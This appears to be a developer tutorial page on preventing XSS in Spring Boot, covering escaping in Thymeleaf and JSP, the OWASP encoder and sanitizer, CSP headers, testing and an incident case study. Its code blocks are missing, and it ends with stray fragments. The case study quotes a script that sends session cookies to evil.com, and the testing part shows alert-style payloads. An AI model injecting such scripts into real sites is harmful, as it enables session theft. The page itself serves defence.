Spring Boot XSS Prevention: The Complete Guide for Developers
Learn how to prevent XSS attacks in Spring Boot applications.
20+ years shipping production Java in banking & fintech. Notes here come from systems that actually shipped.
- ✓Basic knowledge of Spring Boot and Thymeleaf or JSP.
- ✓Familiarity with HTTP and web security concepts.
- ✓Java 17+ and Maven/Gradle.
- Always HTML-encode user input when rendering in web views using Thymeleaf or JSP.
- Implement Content Security Policy (CSP) headers as a defense-in-depth layer.
- Use OWASP Java Encoder for context-aware escaping beyond Spring's defaults.
- Validate and sanitize input on the server side; never trust client-side validation.
- Avoid using
@ResponseBodywith raw user data; rely on Jackson's default encoding or custom serializers.
Imagine you're a bouncer at a club. XSS is like a troublemaker trying to sneak in by dressing up as a VIP. You need to check everyone's ID (validate input) and make sure they don't bring anything dangerous (escape output). CSP is like having security cameras that alert you if someone starts a fight anyway.
I've seen XSS vulnerabilities bring down production systems and leak customer data. One fintech startup I consulted for lost thousands of credit card numbers because they thought 'we only use JSON APIs, so we're safe.' They were wrong. XSS isn't just about rendering HTML—it's about any injection of untrusted data into a web page. In Spring Boot, the attack surface is broad: from Thymeleaf templates to REST APIs consumed by SPAs, from error pages to log viewers.
XSS is still the most common web vulnerability according to OWASP, and Spring Boot's defaults don't fully protect you. The framework gives you tools, but it's your job to use them correctly. This guide covers everything I've learned from debugging XSS incidents: server-side encoding, CSP headers, input validation, and the gotchas that official docs gloss over.
By the end, you'll know how to lock down your Spring Boot app so that even if an attacker injects malicious scripts, they'll be rendered harmless.
Understanding XSS in the Context of Spring Boot
XSS attacks occur when an application includes untrusted data in a web page without proper validation or escaping. In Spring Boot, the most common vectors are:
- Reflected XSS: User input is immediately returned in the response (e.g., search query displayed on results page).
- Stored XSS: User input is stored in a database and later displayed to other users (e.g., comments, feedback).
- DOM-based XSS: Client-side JavaScript dynamically inserts user input into the DOM without escaping.
Spring Boot applications often serve both server-rendered pages (Thymeleaf, JSP) and REST APIs consumed by SPAs. Each has different risks.
For server-rendered pages, the template engine is your first line of defense. Thymeleaf escapes HTML by default when you use th:text. But if you use th:utext or th:inline="javascript", you're bypassing that protection. JSP has similar issues with <c:out> vs ${}.
For REST APIs, the risk is that the API returns raw user input (e.g., in JSON) that a SPA then inserts into the DOM unsafely. Even if your Spring Boot app is just a backend, you must ensure that any user-controlled data in responses is properly encoded for the context where it will be used.
The hard truth: Most XSS vulnerabilities in Spring Boot apps come from developers assuming that the framework automatically protects them. It doesn't. You must explicitly encode output for the correct context (HTML, JavaScript, CSS, URL).
th:text for a field that was later used in a JavaScript string. They thought they were safe, but the attacker broke out of the string using a single quote. Use th:inline="javascript" and then [[${...}]] which applies JavaScript escaping.th:text escapes HTML, but for JavaScript, CSS, or URL contexts, use the appropriate Thymeleaf utilities or OWASP Encoder.Server-Side Input Validation and Sanitization
Input validation is the first line of defense, but it's not enough. You must validate on the server side because client-side validation can be bypassed. Use Spring's @Valid and @Validated with Bean Validation annotations like @NotBlank, @Size, and @Pattern.
For fields that allow rich text (e.g., comments with basic formatting), you need sanitization. I recommend the OWASP Java HTML Sanitizer. It's a battle-tested library that allows you to define a whitelist of allowed HTML tags and attributes.
Example: Allow only <b>, <i>, <u>, and <a> with href attribute. Strip everything else. Never rely on blacklists—attackers always find new ways to bypass them.
Important: Sanitize on input and encode on output. Even after sanitization, you should still encode when rendering in a web context. Defense in depth.
Here's a typical setup:
<script> tags, only to be hit by <img src=x onerror=alert(1)>. The OWASP sanitizer handles these edge cases. Use it.Output Encoding with OWASP Java Encoder
Spring Boot's template engines provide basic escaping, but they don't cover all contexts. For example, when you need to embed user input in a JavaScript string, an HTML attribute, or a CSS value, you need context-specific encoding. The OWASP Java Encoder library (org.owasp.encoder:encoder) provides methods like Encode.forHtml(), Encode.forJavaScript(), Encode.forHtmlAttribute(), and Encode.forUriComponent().
In a Thymeleaf template, you can use the encoder via a Spring bean or a custom dialect. For JSP, you can use JSTL functions or the encoder directly.
For REST APIs, if you're returning JSON that might be consumed by a browser, you should also encode strings that contain user input. Jackson by default will serialize strings as JSON strings, which is safe for JSON context, but if the client then inserts that value into HTML without escaping, you have an XSS. That's not your problem as the API provider? Actually, it is. You should document that fields may contain HTML and should be escaped by the client, or you can encode them yourself (though that might break functionality if the client expects raw text). The best practice is to use a Content Security Policy and rely on client-side frameworks that auto-escape (like React with JSX).
But if you control the frontend, use the encoder there too. The OWASP Java Encoder is for server-side Java rendering; for JavaScript frontends, use a client-side encoder like DOMPurify.
Implementing Content Security Policy (CSP) Headers
CSP is a browser security mechanism that allows you to define which sources of content are trusted. Even if an attacker manages to inject a script, CSP can block its execution. In Spring Boot, you can add CSP headers via a filter or by configuring the SecurityFilterChain in Spring Security.
Here's a typical CSP for a Spring Boot app that uses Thymeleaf and a CDN for scripts:
`` Content-Security-Policy: default-src 'self'; script-src 'self' https://cdn.example.com; style-src 'self' 'unsafe-inline'; img-src 'self' data:; object-src 'none'; base-uri 'self'; form-action 'self'; ``
But be careful: 'unsafe-inline' for styles is often needed for Thymeleaf-generated inline styles. For scripts, avoid 'unsafe-inline' by using nonces or hashes for inline scripts. Spring Security 6.1+ supports nonce generation via CspNonceRequestHandler.
Production gotcha: CSP can break your app if you're not careful. Always test in report-only mode first by setting Content-Security-Policy-Report-Only. Use a reporting endpoint to collect violations. Gradually tighten the policy.
Also, remember that CSP is not a replacement for output encoding. It's a defense-in-depth layer. If you rely solely on CSP and an attacker finds a bypass (e.g., JSONP endpoints, file uploads), you're still vulnerable.
What the Official Docs Won't Tell You
1. Thymeleaf's th:inline="javascript" is not enough by itself.
It escapes JavaScript strings, but if you're embedding user input in a JavaScript context that is not a string (e.g., as a variable name or in a regex), you need additional encoding. Always use [[${...}]] inside a th:inline="javascript" block, but be aware that it only escapes for JavaScript strings. For other contexts, use the OWASP Encoder.
2. Jackson's default serialization does not protect against XSS.
If your REST API returns user input in JSON, and the client inserts that JSON into HTML without escaping, you have XSS. Jackson does not HTML-encode strings by default. You can configure a custom JsonSerializer that encodes strings, but that will break clients that expect raw text. The better approach is to document that fields may contain HTML and should be escaped by the client, or use a framework like React that auto-escapes.
3. Spring Boot's error pages can be an XSS vector.
If you customize error pages (e.g., Whitelabel Error Page) and include the request URI or other user-controlled data without escaping, you're vulnerable. Always escape any dynamic content in error pages.
4. File uploads are a common XSS vector.
Attackers can upload HTML files with embedded scripts. If your app serves uploaded files with the original filename and content type, the browser may execute scripts. Always serve uploaded files with a Content-Disposition: attachment header to force download, and validate the content type. Better yet, serve them from a different domain.
5. Spring Security's default headers don't include CSP.
Spring Security adds several security headers by default (X-Content-Type-Options, X-Frame-Options, etc.), but not CSP. You must explicitly configure it. Also, the X-XSS-Protection header is deprecated and should not be relied upon; use CSP instead.
6. Logging user input can lead to log injection and XSS in log viewers.
If you log user input and have a web-based log viewer that doesn't escape, attackers can inject scripts that execute in the log viewer. Always encode user input before logging, or use a logging framework that escapes automatically.
Testing Your XSS Defenses
Don't rely on manual testing alone. Use automated tools and unit tests to verify that your application is resistant to XSS.
Unit tests: Write tests that simulate XSS payloads and assert that the output is properly encoded. For Thymeleaf templates, you can use the Spring MVC Test framework to render templates and check the response body.
Integration tests: Use tools like OWASP ZAP or Burp Suite to scan your application for XSS vulnerabilities. These tools can automatically inject payloads and detect if they are reflected.
Browser testing: Use browser developer tools to inspect the DOM and ensure that user input is displayed as text, not executed.
CSP reporting: Set up a CSP reporting endpoint (e.g., using a service like report-uri.com) to collect violation reports. Monitor these reports for potential XSS attempts.
Code review: Look for common patterns that lead to XSS: th:utext, @ResponseBody returning user input, inline JavaScript with unescaped variables, and custom error pages with dynamic content.
Here's an example of a unit test using Spring MVC Test:
The Admin Dashboard XSS That Exposed User Sessions
th:utext (unescaped) to allow basic formatting. An attacker submitted feedback containing <script>new Image().src='https://evil.com/steal?cookie='+document.cookie</script>. When a support agent viewed the feedback, the script executed and sent their session cookie to the attacker.th:utext with th:text (escaped). 2. Implemented a CSP header that blocked inline scripts and only allowed scripts from a trusted CDN. 3. Added server-side HTML sanitization using OWASP Java HTML Sanitizer for any fields that genuinely needed rich text. 4. Rotated all session tokens and enforced HttpOnly and Secure flags on cookies.- Never use unescaped output in templates unless you absolutely trust the source and have sanitized it server-side.
- CSP headers are a powerful mitigation layer—implement them even for internal apps.
- VPN or network segmentation is not a security boundary for XSS; internal users can be vectors too.
- Audit all places where user input is displayed, especially in admin dashboards and log viewers.
- Use HttpOnly and Secure cookies to make session tokens inaccessible to JavaScript.
<script> tags or event handlers like onerror. Use browser developer tools to inspect the DOM.curl -X GET 'https://yourapp.com/api/feedback?q=<script>alert(1)</script>'grep -r 'th:utext' src/main/resources/templates/th:utext with th:text in Thymeleaf templates.| File | Command / Code | Purpose |
|---|---|---|
| XssVulnerableController.java | @Controller | Understanding XSS in the Context of Spring Boot |
| SanitizationService.java | @Service | Server-Side Input Validation and Sanitization |
| EncoderUsage.java | public class SafeRenderer { | Output Encoding with OWASP Java Encoder |
| SecurityConfig.java | @Bean | Implementing Content Security Policy (CSP) Headers |
| JacksonStringEncoder.java | public class HtmlSafeStringSerializer extends JsonSerializer | What the Official Docs Won't Tell You |
| XssTest.java | @WebMvcTest(SearchController.class) | Testing Your XSS Defenses |
Key takeaways
Interview Questions on This Topic
Explain the difference between reflected, stored, and DOM-based XSS. Provide an example of each in a Spring Boot context.
innerHTML with URL parameter). In Spring Boot, reflected and stored XSS are common in Thymeleaf templates, while DOM-based XSS is more relevant to SPAs consuming REST APIs.Frequently Asked Questions
20+ years shipping production Java in banking & fintech. Notes here come from systems that actually shipped.
That's Spring Security. Mark it forged?
5 min read · try the examples if you haven't